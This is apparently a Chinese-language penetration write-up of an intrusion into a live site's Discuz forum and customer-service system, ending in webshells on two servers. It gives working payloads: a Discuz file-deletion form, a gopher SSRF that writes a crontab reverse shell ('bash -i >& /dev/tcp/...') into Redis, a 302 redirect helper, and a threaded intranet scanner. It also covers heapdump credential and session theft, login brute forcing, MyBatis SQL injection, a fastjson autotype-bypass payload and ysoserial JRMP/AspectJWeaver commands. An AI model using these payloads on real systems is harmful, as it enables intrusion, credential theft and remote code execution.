主站注册可以发现jsp和php后缀共存,应该是不同路由反代了不同的中间件,找不到啥漏洞。
论坛是Discuz! X3.2
发现Discuz急诊箱。
admin.php 403,uc_server和急诊箱均无弱密码。
在《渗透某盗版游戏网站》中我介绍了Discuz后台有什么漏洞,那么前台漏洞呢?主要有任意文件删除,SSRF,uc_server爆破。
首先是任意文件删除。
POST /home.php?mod=spacecp&ac=profile&op=base
birthprovince=../../../info.php
然后再POST文件上去,即可删除info.php
<formaction="https://x.com/home.php?mod=spacecp&ac=profile&op=base"method="POST" enctype="multipart/form-data">
<input type="file"name="birthprovince" id="file" />
<input type="text"name="formhash" value="017b5107"/>
<input type="text"name="profilesubmit" value="1"/>
<input type="submit"value="Submit" />
</from>
这个漏洞虽然危害不低,但对后续渗透没什么用,Discuz很难通过删除文件去install。
再看SSRF。
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://qzf9jq.dnslog.cn/1.png[/img]&formhash=017b5107
这是一个不回显的SSRF,只能通过时间延迟来判断。
一,可直接通过http去探测内网,如果ip存活则短延迟(不管端口开没开),如果ip不存在则长延迟。
二,可以通过302跳转改变协议,ftp,dict,gopher都支持。
三,可以通过ftp协议来探测端口,如果端口开放则长延迟,如果端口关闭则短延迟。
先通过http协议访问我的VPS获取论坛的真实ip。
163.*. *.35.bc.googleusercontent.com(35.*.*.163)
然后尝试盲打本地redis(这里探测本地端口全关,认为不合理,所以直接盲打)
gopher协议攻击redis时本地测试的时候发现不需要用$声明每行命令字符串长度。
先看清晰的SSRF攻击payload
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher&ip=127.0.0.1&port=6379&data=_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i >& /dev/tcp/62.1.1.1/56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a&xx=1.png[/img]&formhash=017b5107
然后302.php?到data=之间的&要url编码,data=到xx=1.png的所有字符串都进行两次url编码,去bp中发包。
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=127.0.0.1%26port=6379%26data=%25%35%66%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%66%25%33%31%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%36%25%33%32%25%32%65%25%33%31%25%32%65%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png[/img]&formhash=017b5107
但发现payload被Discuz自带的XSS和SQL注入的防护拦截了。
因此payload只能放在VPS中写死。
<?php
$ip=$_GET['ip'];
$port=$_GET['port'];
$scheme=$_GET['s'];
$data='_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i & /dev/tcp/62.1.1.1 /56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a';
header("Location:$scheme://$ip:$port/$data");
测试一下打VPS上的redis能否成功
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=62.1.1.1%26port=6379%26data=1.png[/img]&formhash=017b5107
没问题。但实际环境中利用失败了,原因不确定,没有redis或者redis权限不够或者redis有密码都是有可能的。
开始写脚本探测内网,不过并未抱多大希望,其为谷歌云,并不一定有内网。
先生成所有内网ip的*.*.*.1的ip字典
f = open('ip.txt','w')
f.write('127.0.0.1')
f.write('localhost')
for i in range(1,256):
ip = '192.168.'+str(i)+'.1'
f.write(ip)
for i in range(16,32):
for ii inrange(1,256):
ip = '172.'+str(i)+'.'+str(ii)+'.1'
f.write(ip)
for i in range(1,256):
for ii inrange(1,256):
ip = '10.'+str(i)+'.'+str(ii)+'.1'
f.write(ip)
f.close()
然后通过时间延迟来寻内网ip段,这里由于ip不通的延迟长达7s以上,所以一定要用多线程才能跑完。由于探测ip是否存在任何协议都可以,所以干脆直接使用gopher攻击redis的payload,万一直接打中了呢。
import requests
import threading
def ssrf(i):
url = 'https://x.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip='+i+'%26port=6379%26data=1.png[/img]&formhash=017b5107'
header = {"User-Agent":"Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip,deflate",
"Connection": "keep-alive"
}
cookie = {"PNuE_2132_saltkey":"vx3wOD3T","PNuE_2132_auth":"8b46%2F9AD2x2XyfyESVQaytdhS%2FVWrzIGQLWCe3IAr6AIwuX8raGrp%2BgRkMv39ylNO2GAIfHep01AGhxApI0OCyXirNKx"}
r = requests.get(url,cookies=cookie,headers=header,allow_redirects=False)
if r.elapsed.total_seconds()> 6:
timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
print(timeout)
else:
timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
fo = open('openip.txt','a')
fo.write(str(i)+'open\n')
fo.close()
print(str(i)+'open')
print(timeout)
def thread(list):
name = []
for i in list:
th = threading.Thread(target=ssrf,args=(i,))
name.append(th)
th.start()
for th inname:
th.join()
folist = open('ip.txt','r')
list = []
flag = 0
for i infolist.readlines():
i = i.replace('\n','')
if flag <21:
list.append(i)
flag = flag+1
else:
thread(list)
flag = 0
list = []
只发现一个开放的网关172.30.2.1,再跑此网关上的内网ip,更换ip.txt即可。
结果跑了一天只跑出两个内网ip,172.30.2.1和172.30.2.2,大概率172.30.2.2是它自己,172.30.2.1是云服务器的虚拟网关。
最后再用ftp协议跑它们的端口,脚本自己改改就行了。
大部分都是误报,其实只开了80和443两个端口,所以除非之后发现其他内网ip,否则SSRF是不用指望了。
最后一个uc_server爆破,原理为改XFF头导致图形验证码固定,同样利用失败,详情见https://www.freebuf.com/articles/web/197546.html
论坛告一段落,接下来看看客服系统有啥问题。
/res/image.html?id=upload/6c825ed7ea4cd25657288ab4f7d0227f
id传参,无法目录穿越。文件上传无法利用,开始目录扫描。
admin登录界面有滑块验证,不过是前端骗人的,后端没用到,尝试爆破无果。
看到/actuator,就知道是spring boot了,使用针对性字典爆破。
/swagger-ui.html为空,/env跳转admin,/heapdump 403。
但鬼使神差的我试了试/heapdump.json
解压出来1G内存文件,使用MemoryAnalyzer将其打开,OQL查询。
由于没有/env配合,只能盲查配置信息,这里写一些我摸索出来的小技巧。
select* from org.springframework.web.context.support.StandardServletEnvironment
查配置,注意以Retained Heap(大小)排序,比较方便。
select* from java.lang.String s WHERE toString(s) LIKE ".*password.*"
查含password的字符串,这种查法不易找出关联类,但可以快速找出登录记录之类的。password替换成http://之类的可以找出一些url。
select* from java.util.Hashtable$Entry x WHERE(toString(x.key).contains("username"))
select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("url"))
快速查数据库相关信息,发现mysql地址账户密码,不过很遗憾是亚马逊的数据库,默认存在ip白名单,无法远程登录。
select* from java.lang.String s WHERE toString(s) LIKE ".*SESSION.*"
发现正在登录的session,替换之后登录到后台。
后台使用wss协议进行实时对话,头像处,客服回复处均无利用点。只发现了一些毒狗的哀嚎。
黑盒测试无果,heapdump中翻找有特征的类名,然后去github搜,发现了一份可能是初始版源码,目标用的是改版,源码不太全。
对不全的代码进行审计,找到一处任意文件读取和一处SSRF。
有了部分源码,知道配置文件位置,读取配置文件
获取数据库配置,当然之前在heapdump内存中已经知道了。获取内网ip,172.x.x.x,写脚本开始跑内网ip,脚本参考Discuz那个。
同理,后续用ftp协议扫描内网端口。不过很可惜,java ssrf一般不支持dict和gopher,论坛和客服又不在同一内网,所以很难攻击内网比如redis。
前面一直没提的是,此客服系统存在管理员后台,不过存在ip白名单限制,访问403,虽然能利用SSRF绕过,但是由于只能发起GET请求,无法尝试登陆。
这两处漏洞依旧无法getshell,我决定去fofa上搜同版本客服系统,然后利用任意文件下载来获取完整的源码。
很幸运,直接碰到一个网站可以读.bash_history,在操作记录中暴露了源码路径,获得war包。
开始审计,SQL方面使用的是jpa1.11.6,基本不存在注入问题,但仔细研究发现同时少部分地方用了mybatis。于是查看四个mybatis的xml,找到两处使用$的地方。
ScacMapper.xml
经典的mybatis order by注入。位于ScacRepository类的findRule方法,全局搜索调用了此方法的地方。
发现不可控,再看第二处。
ChatMapper.xml
位于AgentService类的findChatService方法,全局搜索。
satislevel参数可控,网站中寻找路由,发现是用来查询历史会话的。
/service/history/index.html?ps=20&type=0&begin=2021-02-25+00%3A00&end=2021-02-25+23%3A59&username=&ipdata=&snsid=&tagid=&referrer=&uuid=&ai=&skill=000000007705622b017714226691166b&agent=00000000771d75d801771df3ff280135&aiwork=&aiid=&message=&channel=&startTime=&endTime=&firstreplyStartTime=&firstreplyEndTime=&agenttimeouttimes=&assess=&sessiontype=&evaluate=&satislevel=&label=&assessmessage=
SQL注入成功,不过是个布尔盲注,注入较耗时间。
然后发现fastjson版本较低,于是瞄上了fastjson反序列化。
全局搜索parseObject方法,路由中发现两处。IMController和ApiContactsController。
IMController虽然在前台,但涉及到AES解密和定位key,利用起来较为复杂。
所以决定利用ApiContactsController的save方法。
由于通过heapdump登录过客服后台,直接访问save的路由,却尴尬的发现报401
很显然,客服后台和这个接口不在同一体系,但密码应该是通用的,猜测这些接口是给手机app用的,heapdump中曾获取了用户名,于是在ApiLoginController中找到登录接口,开始爆破。当然,也可以利用之前审计出来的SQL注入,不过实在太慢而且不一定解的出来我就先爆破了。
成功获取凭证,访问路由。
这里是个联系人接口,查用GET,增用PUT,改用POST,删用DELETE,只有改才会调用fastjson。所以直接POST fastjson payload就行。
fastjson 1.24以上版本默认关闭autotype,但1.2.47版本以下可以用如下payload绕过此限制。详情见我的文章《java反序列化实战》。
https://mp.weixin.qq.com/s/Cj59LNM4pWHyn3sxUU6Nkg
{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit": true}}
成功获取dnslog请求,接下来就是用fastjson反序列化getshell就行了吗?
事情并没有那么简单,之前通过heapdump在内存中看到java版本为1.8.0_242,那么rmi和ldap两个JNDI注入都无法使用,这和实际用marshalsec测试结果一致。本地加载有两种方法,org.apache.tomcat.dbcp.dbcp.BasicDataSource需满足fastjson在1.2.25版本以下因此排除,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以以java.lang.Class绕过,但我在本地成功利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,在实际环境中却没能成功。
我在此处被拦了几个小时,最后发现存在rmi反序列化,链为URL链。注意:rmi注入恶意类和rmi反序列化是不一样的。
rmi注入恶意类(marshalsec),是连接rmi服务器,rmi服务器让受害者去加载远程http服务上的恶意类。受到java版本限制。
rmi反序列化(ysoserial),是连接rmi服务器,在和rmi服务器通信的过程中被反序列化攻击了。无版本限制,只需要反序列化链。
如下图,恶意服务器上起一个ysoserial的rmi服务,然后用fastjson去连接之。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 URLDNS "http://2evix2.dnslog.cn"
成功获取dns请求,那么我只需要找到一条能够利用的反序列链,就能够getshell。
spring项目一般来说,很难有一条序列化链,因为用的commons-collections版本都较高。不过最近ysoserial刚好更新了一个文件上传的aspectjweaver链,而源码中的jar包满足条件。
详情见https://mp.weixin.qq.com/s/2stdx1cm7BfKeSR50axC-w
先尝试向/tmp中写文件
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 AspectJWeaver "../../../tmp/ahi.txt;YWhpaGloaQ=="
然后利用任意文件读取确认文件是否被写入。
尝试写webshell,成功getshell
由于其存在负载均衡,可以拿到两台服务器权限,至此渗透完毕。